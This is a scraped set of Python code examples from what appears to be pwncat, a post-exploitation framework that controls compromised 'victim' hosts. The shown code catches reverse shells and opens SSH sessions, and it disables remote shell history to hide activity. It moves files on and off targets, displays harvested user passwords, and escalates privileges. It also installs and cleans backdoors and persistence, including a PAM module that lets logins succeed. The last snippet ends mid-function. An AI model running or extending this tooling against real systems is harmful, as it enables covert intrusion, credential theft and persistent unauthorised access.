Example #1
0
    def run(self, args):

        if args.action == "revert":
            if args.all:
                removed_tampers = []
                util.progress(f"reverting tamper")
                for tamper in pwncat.victim.tamper:
                    try:
                        util.progress(f"reverting tamper: {tamper}")
                        tamper.revert()
                        removed_tampers.append(tamper)
                    except RevertFailed as exc:
                        util.warn(f"{tamper}: revert failed: {exc}")
                for tamper in removed_tampers:
                    pwncat.victim.tamper.remove(tamper)
                util.success("tampers reverted!")
                pwncat.victim.session.commit()
            else:
                if args.tamper not in range(len(pwncat.victim.tamper)):
                    self.parser.error("invalid tamper id")
                tamper = pwncat.victim.tamper[args.tamper]
                try:
                    tamper.revert()
                    pwncat.victim.tamper.remove(tamper)
                except RevertFailed as exc:
                    util.error(f"revert failed: {exc}")
                pwncat.victim.session.commit()
        else:
            for id, tamper in enumerate(pwncat.victim.tamper):
                print(f" {id} - {tamper}")
Example #2
0
    def run(self, args):

        if args.action == "status":
            ninstalled = 0
            for user, method in pwncat.victim.persist.installed:
                print(f" - {method.format(user)} installed")
                ninstalled += 1
            if not ninstalled:
                util.warn(
                    "no persistence methods observed as "
                    f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}"
                )
            return
        elif args.action == "list":
            if args.method:
                try:
                    method = next(pwncat.victim.persist.find(args.method))
                    print(f"\033[4m{method.format()}{Style.RESET_ALL}")
                    print(textwrap.indent(textwrap.dedent(method.__doc__), "  "))
                except StopIteration:
                    util.error(f"{args.method}: no such persistence method")
            else:
                for method in pwncat.victim.persist:
                    print(f" - {method.format()}")
            return
        elif args.action == "clean":
            util.progress("cleaning persistence methods: ")
            for user, method in pwncat.victim.persist.installed:
                try:
                    util.progress(
                        f"cleaning persistance methods: {method.format(user)}"
                    )
                    pwncat.victim.persist.remove(method.name, user)
                    util.success(f"removed {method.format(user)}")
                except PersistenceError as exc:
                    util.erase_progress()
                    util.warn(
                        f"{method.format(user)}: removal failed: {exc}\n", overlay=True
                    )
            util.erase_progress()
            return
        elif args.method is None:
            self.parser.error("no method specified")
            return

        # Grab the user we want to install the persistence as
        if args.user:
            user = args.user
        else:
            # Default is to install as current user
            user = pwncat.victim.whoami()

        try:
            if args.action == "install":
                pwncat.victim.persist.install(args.method, user)
            elif args.action == "remove":
                pwncat.victim.persist.remove(args.method, user)
        except PersistenceError as exc:
            util.error(f"{exc}")
Example #3
0
    def __init__(self, client: socket.SocketType):
        """ Initialize a new Pty Handler. This will handle creating the PTY and
        setting the local terminal to raw. It also maintains the state to open a
        local terminal if requested and exit raw mode. """

        self.client = client
        self.state = "normal"
        self.saved_term_state = None
        self.input = b""
        self.lhost = None
        self.known_binaries = {}
        self.vars = {"lhost": None}

        # Ensure history is disabled
        util.info("disabling remote command history", overlay=True)
        client.sendall(b"unset HISTFILE\n")

        util.info("setting terminal prompt", overlay=True)
        client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')

        # Locate interesting binaries
        for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
            util.info(f"resolving remote binary: {name}", overlay=True)

            # We already found a preferred option
            if (
                friendly in self.known_binaries
                and self.known_binaries[friendly][1] > priority
            ):
                continue

            # Look for the given binary
            response = self.run(f"which {shlex.quote(name)}", has_pty=False)
            if response == b"":
                continue

            self.known_binaries[friendly] = (response.decode("utf-8"), priority)

        for m, cmd in PtyHandler.OPEN_METHODS.items():
            if m in self.known_binaries:
                method_cmd = cmd.format(self.known_binaries[m][0])
                method = m
                break
        else:
            util.error("no available methods to spawn a pty!")
            raise RuntimeError("no available methods to spawn a pty!")

        # Open the PTY
        util.info(f"opening pseudoterminal via {method}", overlay=True)
        client.sendall(method_cmd.encode("utf-8") + b"\n")

        # Synchronize the terminals
        util.info("synchronizing terminal state", overlay=True)
        self.do_sync([])

        # Force the local TTY to enter raw mode
        self.enter_raw()
Example #4
0
    def run(self, args):

        # Ensure we confirmed we want to exit
        if not args.yes:
            util.error("exit not confirmed")
            return

        # Get outa here!
        raise EOFError
Example #5
0
    def enter_command(self):
        """ Enter commmand mode. This sets normal mode and uses prompt toolkit
        process commands from the user for the local machine """

        # Go back to normal mode
        self.restore()
        self.state = State.COMMAND

        # Hopefully this fixes weird cursor position issues
        sys.stdout.write("\n")

        # Process commands
        while self.state is State.COMMAND:
            try:
                try:
                    line = self.prompt.prompt()
                except (EOFError, OSError):
                    # The user pressed ctrl-d, go back
                    self.enter_raw()
                    continue

                if len(line) > 0:
                    if line[0] == "!":
                        # Allow running shell commands
                        subprocess.run(line[1:], shell=True)
                        continue
                    elif line[0] == "@":
                        result = self.run(line[1:])
                        sys.stdout.buffer.write(result)
                        continue
                    elif line[0] == "-":
                        self.run(line[1:], wait=False)
                        continue

                try:
                    argv = shlex.split(line)
                except ValueError as e:
                    util.error(e.args[0])
                    continue

                # Empty command
                if len(argv) == 0:
                    continue

                try:
                    method = getattr(self, f"do_{argv[0]}")
                except AttributeError:
                    util.warn(f"{argv[0]}: command does not exist")
                    continue

                # Call the method
                method(argv[1:])
            except KeyboardInterrupt as exc:
                traceback.print_exc()
                continue
Example #6
0
    def do_download(self, args):
        """ Download a file from the remote host """

        try:
            # Locate an appropriate downloader class
            DownloaderClass = downloader.find(self, args.method)
        except downloader.DownloadError as exc:
            util.error(f"{exc}")
            return

        # Grab the arguments
        path = args.path
        basename = os.path.basename(args.path)
        outfile = args.output.format(basename=basename)

        download = DownloaderClass(self, remote_path=path, local_path=outfile)

        # Get the remote file size
        size = self.run(
            f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
        if b"none" in size:
            util.error(f"{path}: no such file or directory")
            return
        size = int(size)

        with ProgressBar([("#888888", "downloading with "),
                          ("fg:ansiyellow", f"{download.NAME}")]) as pb:
            counter = pb(range(size))
            last_update = time.time()

            def on_progress(copied, blocksz):
                """ Update the progress bar """
                if blocksz == -1:
                    counter.stopped = True
                    counter.done = True
                    pb.invalidate()
                    return

                counter.items_completed += blocksz
                if counter.items_completed >= counter.total:
                    counter.done = True
                    counter.stopped = True
                if (time.time() - last_update) > 0.1:
                    pb.invalidate()

            try:
                download.serve(on_progress)
                if download.command():
                    while not counter.done:
                        time.sleep(0.2)
            finally:
                download.shutdown()

            # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
            time.sleep(0.1)
Example #7
0
    def run(self, args):
        if args.password:
            if args.variable is None:
                found = False
                for name, user in pwncat.victim.users.items():
                    if user.password is not None:
                        print(
                            f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(user.password)}{Fore.RESET}"
                        )
                        found = True
                if not found:
                    util.warn("no known user passwords")
            else:
                if args.variable not in pwncat.victim.users:
                    self.parser.error(f"{args.variable}: no such user")
                print(
                    f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}"
                )
                pwncat.victim.users[args.variable].password = args.value
        else:
            if (args.variable is not None and args.variable == "state"
                    and args.value is not None):
                try:
                    pwncat.victim.state = util.State._member_map_[
                        args.value.upper()]
                except KeyError:
                    util.error(f"{args.value}: invalid state")
            elif args.variable is not None and args.value is not None:
                try:
                    pwncat.victim.config[args.variable] = args.value
                    if args.variable == "db":
                        # We handle this specially to ensure the database is available
                        # as soon as this config is set
                        pwncat.victim.engine = create_engine(
                            pwncat.victim.config["db"], echo=False)
                        pwncat.db.Base.metadata.create_all(
                            pwncat.victim.engine)

                        # Create the session_maker and default session
                        if pwncat.victim.session is None:
                            pwncat.victim.session_maker = sessionmaker(
                                bind=pwncat.victim.engine)
                            pwncat.victim.session = pwncat.victim.session_maker(
                            )
                except ValueError as exc:
                    util.error(str(exc))
            elif args.variable is not None:
                value = pwncat.victim.config[args.variable]
                print(f" {Fore.CYAN}{args.variable}{Fore.RESET} = "
                      f"{Fore.YELLOW}{repr(value)}{Fore.RESET}")
            else:
                for name in pwncat.victim.config:
                    value = pwncat.victim.config[name]
                    print(f" {Fore.CYAN}{name}{Fore.RESET} = "
                          f"{Fore.YELLOW}{repr(value)}{Fore.RESET}")
Example #8
0
    def remove(self, user: Optional[str] = None):
        """ Remove this method """

        try:

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"
            try:
                results = (
                    pwncat.victim.env(["find", "/", "-name", "pam_deny.so"])
                    .strip()
                    .decode("utf-8")
                )
                if results != "":
                    results = results.split("\n")
                    pam_modules = os.path.dirname(results[0])
            except FileNotFoundError:
                pass

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Remove the the module
                pwncat.victim.env(
                    ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
                )
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                # Remove this auth method from the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # Add this auth statement before the first auth statement
                    content = [line for line in content if line != new_line]
                    content = "".join(content)

                    try:
                        with pwncat.victim.open(
                            config, "w", length=len(content)
                        ) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue
            else:
                raise PersistenceError("insufficient permissions")
        except FileNotFoundError as exc:
            # Uh-oh, some binary was missing... I'm not sure what to do here...
            util.error(str(exc))
Example #9
0
    def run(self, args):

        if args.action == "revert":
            if args.tamper not in range(len(pwncat.victim.tamper.tampers)):
                self.parser.error("invalid tamper id")
            tamper = pwncat.victim.tamper.tampers[args.tamper]
            try:
                tamper.revert()
                pwncat.victim.tamper.tampers.pop(args.tamper)
            except RevertFailed as exc:
                util.error(f"revert failed: {exc}")
        else:
            for id, tamper in enumerate(pwncat.victim.tamper.tampers):
                print(f" {id} - {tamper}")
Example #10
0
    def do_upload(self, args):
        """ Upload a file to the remote host """

        if not os.path.isfile(args.path):
            util.error(f"{args.path}: no such file or directory")
            return

        try:
            # Locate an appropriate downloader class
            UploaderClass = uploader.find(self, args.method)
        except uploader.UploadError as exc:
            util.error(f"{exc}")
            return

        path = args.path
        basename = os.path.basename(args.path)
        name = basename
        outfile = args.output.format(basename=basename)

        upload = UploaderClass(self, remote_path=outfile, local_path=path)

        with ProgressBar([("#888888", "uploading via "),
                          ("fg:ansiyellow", f"{upload.NAME}")]) as pb:

            counter = pb(range(os.path.getsize(path)))
            last_update = time.time()

            def on_progress(copied, blocksz):
                """ Update the progress bar """
                counter.items_completed += blocksz
                if counter.items_completed >= counter.total:
                    counter.done = True
                    counter.stopped = True
                if (time.time() - last_update) > 0.1:
                    pb.invalidate()

            upload.serve(on_progress)
            upload.command()

            try:
                while not counter.done:
                    time.sleep(0.1)
            except KeyboardInterrupt:
                pass
            finally:
                upload.shutdown()

            # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
            time.sleep(0.1)
Example #11
0
 def run(self, args):
     if args.password:
         if args.variable is None:
             found = False
             for user, props in pwncat.victim.users.items():
                 if "password" in props and props["password"] is not None:
                     print(
                         f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(props['password'])}{Fore.RESET}"
                     )
                     found = True
             if not found:
                 util.warn("no known user passwords")
         else:
             if args.variable not in pwncat.victim.users:
                 self.parser.error(f"{args.variable}: no such user")
             print(
                 f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}"
             )
             pwncat.victim.users[args.variable]["password"] = args.value
     else:
         if (
             args.variable is not None
             and args.variable == "state"
             and args.value is not None
         ):
             try:
                 pwncat.victim.state = util.State._member_map_[args.value.upper()]
             except KeyError:
                 util.error(f"{args.value}: invalid state")
         elif args.variable is not None and args.value is not None:
             try:
                 pwncat.victim.config[args.variable] = args.value
             except ValueError as exc:
                 util.error(str(exc))
         elif args.variable is not None:
             value = pwncat.victim.config[args.variable]
             print(
                 f" {Fore.CYAN}{args.variable}{Fore.RESET} = "
                 f"{Fore.YELLOW}{repr(value)}{Fore.RESET}"
             )
         else:
             for name in pwncat.victim.config:
                 value = pwncat.victim.config[name]
                 print(
                     f" {Fore.CYAN}{name}{Fore.RESET} = "
                     f"{Fore.YELLOW}{repr(value)}{Fore.RESET}"
                 )
Example #12
0
    def eval(self, source: str, name: str = "<script>"):
        """ Evaluate the given source file. This will execute the given string
        as a script of commands. Syntax is the same except that commands may
        be separated by semicolons, comments are accepted as following a "#" and
        multiline strings are supported with '"{' and '}"' as delimeters. """

        in_multiline_string = False
        lineno = 1

        for command in resolve_blocks(source):
            try:
                self.dispatch_line(command)
            except Exception as exc:
                util.error(
                    f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}"
                )
                break
Example #13
0
    def run(self, args):

        if args.action == "install":
            pwncat.victim.bootstrap_busybox(args.url)
        elif args.action == "list":
            if pwncat.victim.host.busybox is None:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox --install'"
                )
                return
            util.info("binaries which the remote busybox provides:")

            # Find all binaries which are provided by busybox
            provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
                pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                pwncat.db.Binary.host_id == pwncat.victim.host.id,
            )

            for binary in provides:
                print(f" * {binary.name}")
        elif args.action == "status":
            if pwncat.victim.host.busybox is None:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
            )

            # Find all binaries which are provided from busybox
            nprovides = (
                pwncat.victim.session.query(pwncat.db.Binary)
                .filter(
                    pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                    pwncat.db.Binary.host_id == pwncat.victim.host.id,
                )
                .with_entities(func.count())
                .scalar()
            )
            util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
Example #14
0
    def run(self, args):

        if args.action == "list":
            if not pwncat.victim.has_busybox:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox'")
                return
            util.info("binaries which the remote busybox provides:")
            for name in pwncat.victim.busybox_provides:
                print(f" * {name}")
        elif args.action == "status":
            if not pwncat.victim.has_busybox:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{pwncat.victim.busybox_path}{Fore.RESET}"
            )
            util.info(
                f"busybox provides {Fore.GREEN}{len(pwncat.victim.busybox_provides)}{Fore.RESET} applets"
            )
        elif args.action == "install":
            pwncat.victim.bootstrap_busybox(args.url)
Example #15
0
    def do_set(self, argv):
        """ Set or view the currently assigned variables """

        if len(argv) == 0:
            util.info("local variables:")
            for k, v in self.vars.items():
                print(f" {k} = {shlex.quote(v)}")

            util.info("user passwords:")
            for user, data in self.users.items():
                if data["password"] is not None:
                    print(
                        f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}"
                    )
            return

        parser = argparse.ArgumentParser(prog="set")
        parser.add_argument(
            "--password",
            "-p",
            action="store_true",
            help="set the password for the given user",
        )
        parser.add_argument("variable", help="the variable name or user")
        parser.add_argument("value",
                            help="the new variable/user password value")

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if args.password is not None and args.variable not in self.users:
            util.error(f"{args.variable}: no such user")
        elif args.password is not None:
            self.users[args.variable]["password"] = args.value
        else:
            self.vars[args.variable] = args.value
Example #16
0
    def do_busybox(self, args):
        """ Attempt to upload a busybox binary which we can use as a consistent 
        interface to local functionality """

        if args.action == "list":
            if not self.has_busybox:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox'")
                return
            util.info("binaries which the remote busybox provides:")
            for name in self.busybox_provides:
                print(f" * {name}")
        elif args.action == "status":
            if not self.has_busybox:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}"
            )
            util.info(
                f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets"
            )
        elif args.action == "install":
            self.bootstrap_busybox(args.url, args.method)
Example #17
0
    def dispatch_line(self, line: str):
        """ Parse the given line of command input and dispatch a command """

        # Account for blank or whitespace only lines
        line = line.strip()
        if line == "":
            return

        try:
            # Spit the line with shell rules
            argv = shlex.split(line)
        except ValueError as e:
            util.error(e.args[0])
            return

        if argv[0][0] in self.shortcuts:
            command = self.shortcuts[argv[0][0]]
            argv[0] = argv[0][1:]
            args = argv
        else:
            # Search for a matching command
            for command in self.commands:
                if command.PROG == argv[0]:
                    break
            else:
                if argv[0] in self.aliases:
                    command = self.aliases[argv[0]]
                else:
                    util.error(f"{argv[0]}: unknown command")
                    return

            if not self.loading_complete and not command.LOCAL:
                util.error(
                    f"{argv[0]}: non-local commands cannot run until after session setup."
                )
                return

            args = argv[1:]

        args = [a.encode("utf-8").decode("unicode_escape") for a in args]

        try:
            # Parse the arguments
            args = command.parser.parse_args(args)

            # Run the command
            command.run(args)
        except SystemExit:
            # The arguments were icncorrect
            return
Example #18
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            try:
                with open(args.data, "rb") as f:
                    data = f.read()
            except PermissionError:
                self.parser.error(f"no local permission to read: {args.data}")

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "mismatched euid and uid; attempting backdoor installation."
                    )
                    for method in pwncat.victim.persist.available:
                        if not method.system or not method.local:
                            continue
                        try:
                            # Attempt to install this persistence method
                            pwncat.victim.persist.install(method.name)
                            if not method.escalate():
                                # The escalation didn't work, remove it and try the next
                                pwncat.victim.persist.remove(method.name)
                                continue
                            chain.append((
                                f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
                                "exit",
                            ))
                            break
                        except PersistenceError:
                            continue

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")
                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Example #19
0
    def __init__(self, client: socket.SocketType, has_pty: bool = False):
        """ Initialize a new Pty Handler. This will handle creating the PTY and
        setting the local terminal to raw. It also maintains the state to open a
        local terminal if requested and exit raw mode. """

        self.client = client
        self.state = "normal"
        self.saved_term_state = None
        self.input = b""
        self.lhost = None
        self.known_binaries = {}
        self.known_users = {}
        self.vars = {"lhost": util.get_ip_addr()}
        self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
        self.remote_prompt = ("\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\["
                              "\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ ")
        self.prompt = self.build_prompt_session()
        self.has_busybox = False
        self.busybox_path = None
        self.binary_aliases = {
            "python": [
                "python2",
                "python3",
                "python2.7",
                "python3.6",
                "python3.8",
                "python3.9",
            ],
            "sh": ["bash", "zsh", "dash"],
            "nc": ["netcat", "ncat"],
        }
        self.has_pty = has_pty

        # Setup the argument parsers for local the local prompt
        self.setup_command_parsers()

        # We should always get a response within 3 seconds...
        self.client.settimeout(1)

        util.info("probing for prompt...", overlay=True)
        start = time.time()
        prompt = b""
        try:
            while time.time() < (start + 0.1):
                prompt += self.client.recv(1)
        except socket.timeout:
            pass

        # We assume if we got data before sending data, there is a prompt
        if prompt != b"":
            self.has_prompt = True
            util.info(f"found a prompt", overlay=True)
        else:
            self.has_prompt = False
            util.info("no prompt observed", overlay=True)

        # Send commands without a new line, and see if the characters are echoed
        util.info("checking for echoing", overlay=True)
        test_cmd = b"echo"
        self.client.send(test_cmd)
        response = b""

        try:
            while len(response) < len(test_cmd):
                response += self.client.recv(len(test_cmd) - len(response))
        except socket.timeout:
            pass

        if response == test_cmd:
            self.has_echo = True
            util.info("found input echo", overlay=True)
        else:
            self.has_echo = False
            util.info(f"no echo observed", overlay=True)

        self.client.send(b"\n")
        response = self.client.recv(1)
        if response == "\r":
            self.client.recv(1)
            self.has_cr = True
        else:
            self.has_cr = False

        if self.has_echo:
            self.recvuntil(b"\n")

        # Ensure history is disabled
        util.info("disabling remote command history", overlay=True)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        self.shell = self.run("ps -o command -p $$ | tail -n 1").decode(
            "utf-8").strip()
        self.shell = self.which(self.shell.split(" ")[0])
        util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}")

        # Locate interesting binaries
        # The auto-resolving doesn't work correctly until we have a pty
        # so, we manually resolve a list of useful binaries prior to spawning
        # a pty
        for name in PtyHandler.INTERESTING_BINARIES:
            util.info(
                f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}",
                overlay=True,
            )

            # Look for the given binary
            response = self.run(f"which {shlex.quote(name)}").strip()
            if response == b"":
                continue

            self.known_binaries[name] = response.decode("utf-8")

        # Now, we can resolve using `which` w/ request=False for the different
        # methods
        for m, cmd in PtyHandler.OPEN_METHODS.items():
            if self.which(m, request=False) is not None:
                method_cmd = cmd.format(self.which(m, request=False),
                                        self.shell)
                method = m
                break
        else:
            util.error("no available methods to spawn a pty!")
            raise RuntimeError("no available methods to spawn a pty!")

        # Open the PTY
        util.info(
            f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}",
            overlay=True)
        self.run(method_cmd, wait=False)
        # client.sendall(method_cmd.encode("utf-8") + b"\n")

        # We just started a PTY, so we now have all three
        self.has_echo = True
        self.has_cr = True
        self.has_prompt = True

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        # Make sure HISTFILE is unset in this PTY (it resets when a pty is
        # opened)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        # Disable automatic margins, which f**k up the prompt
        self.run("tput rmam")

        # Synchronize the terminals
        util.info("synchronizing terminal state", overlay=True)
        self.do_sync([])

        self.privesc = privesc.Finder(self)

        # Attempt to identify architecture
        self.arch = self.run("uname -m").decode("utf-8").strip()

        # Force the local TTY to enter raw mode
        self.enter_raw()
Example #20
0
    def run(self, args):

        if pwncat.victim.client is not None:
            util.error(
                "connect can only be called prior to an active connection!")
            return

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                self.parser.error(str(exc))

        if args.action == "none":
            # No action was provided, and no connection was made in the config
            if pwncat.victim.client is None:
                self.parser.print_help()
            return

        if args.action == "listen":
            if not args.host:
                args.host = "0.0.0.0"

            util.progress(f"binding to {args.host}:{args.port}")

            # Create the socket server
            server = socket.create_server((args.host, args.port),
                                          reuse_port=True)

            try:
                # Wait for a connection
                (client, address) = server.accept()
            except KeyboardInterrupt:
                util.warn(f"aborting listener...")
                return

            util.success(f"received connection from {address[0]}:{address[1]}")
            pwncat.victim.connect(client)
        elif args.action == "connect":
            if not args.host:
                self.parser.error(
                    "host address is required for outbound connections")

            util.progress(f"connecting to {args.host}:{args.port}")

            # Connect to the remote host
            client = socket.create_connection((args.host, args.port))

            util.success(f"connection to {args.host}:{args.port} established")
            pwncat.victim.connect(client)
        elif args.action == "ssh":

            if not args.port:
                args.port = 22

            if not args.user:
                self.parser.error("you must specify a user")

            if not (args.password or args.identity):
                self.parser.error(
                    "either a password or identity file is required")

            try:
                # Connect to the remote host's ssh server
                sock = socket.create_connection((args.host, args.port))
            except Exception as exc:
                util.error(str(exc))
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                util.error("ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(args.user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")
            else:
                try:
                    t.auth_password(args.user, args.password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)
        elif args.action == "reconnect":
            if not args.host:
                self.parser.error(
                    "host address or hash is required for reconnection")

            try:
                addr = ipaddress.ip_address(args.host)
                util.progress(f"enumerating persistence methods for {addr}")
                host = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if host is None:
                    util.error(f"{args.host}: not found in database")
                    return
                host_hash = host.hash
            except ValueError:
                host_hash = args.host

            # Reconnect to the given host
            try:
                pwncat.victim.reconnect(host_hash, args.method, args.user)
            except PersistenceError as exc:
                util.error(f"{args.host}: connection failed")
                return
        elif args.action == "list":
            if pwncat.victim.session is not None:
                for host in pwncat.victim.session.query(pwncat.db.Host):
                    if len(host.persistence) == 0:
                        continue
                    print(
                        f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
                    )
                    for p in host.persistence:
                        print(
                            f"  - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
                        )
        else:
            util.error(f"{args.action}: invalid action")
Example #21
0
    def do_privesc(self, argv):
        """ Attempt privilege escalation """

        parser = argparse.ArgumentParser(prog="privesc")
        parser.add_argument(
            "--list",
            "-l",
            action="store_true",
            help="do not perform escalation. list potential escalation methods",
        )
        parser.add_argument(
            "--all",
            "-a",
            action="store_const",
            dest="user",
            const=None,
            help=
            "when listing methods, list for all users. when escalating, escalate to root.",
        )
        parser.add_argument(
            "--user",
            "-u",
            choices=[user for user in self.users],
            default="root",
            help="the target user",
        )
        parser.add_argument(
            "--max-depth",
            "-m",
            type=int,
            default=None,
            help="Maximum depth for the privesc search (default: no maximum)",
        )
        parser.add_argument(
            "--read",
            "-r",
            type=str,
            default=None,
            help="remote filename to try and read",
        )
        parser.add_argument(
            "--write",
            "-w",
            type=str,
            default=None,
            help="attempt to write to a remote file as the specified user",
        )
        parser.add_argument(
            "--data",
            "-d",
            type=str,
            default=None,
            help="the data to write a file. ignored if not write mode",
        )
        parser.add_argument(
            "--text",
            "-t",
            action="store_true",
            default=False,
            help="whether to use safe readers/writers",
        )

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if args.list:
            techniques = self.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.read:
            try:
                read_pipe, chain = self.privesc.read_file(
                    args.read, args.user, args.max_depth)

                # Read the data from the pipe
                sys.stdout.buffer.write(read_pipe.read(4096))
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                self.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.write:
            if args.data is None:
                util.error("no data specified")
            else:
                if args.data.startswith("@"):
                    with open(args.data[1:], "rb") as f:
                        data = f.read()
                else:
                    data = args.data.encode("utf-8")
                try:
                    chain = self.privesc.write_file(
                        args.write,
                        data,
                        safe=not args.text,
                        target_user=args.user,
                        depth=args.max_depth,
                    )
                    self.privesc.unwrap(chain)
                    util.success("file written successfully!")
                except privesc.PrivescError as exc:
                    util.error(f"file write failed: {exc}")
        else:
            try:
                chain = self.privesc.escalate(args.user, args.max_depth)

                ident = self.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        self.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                self.reset()
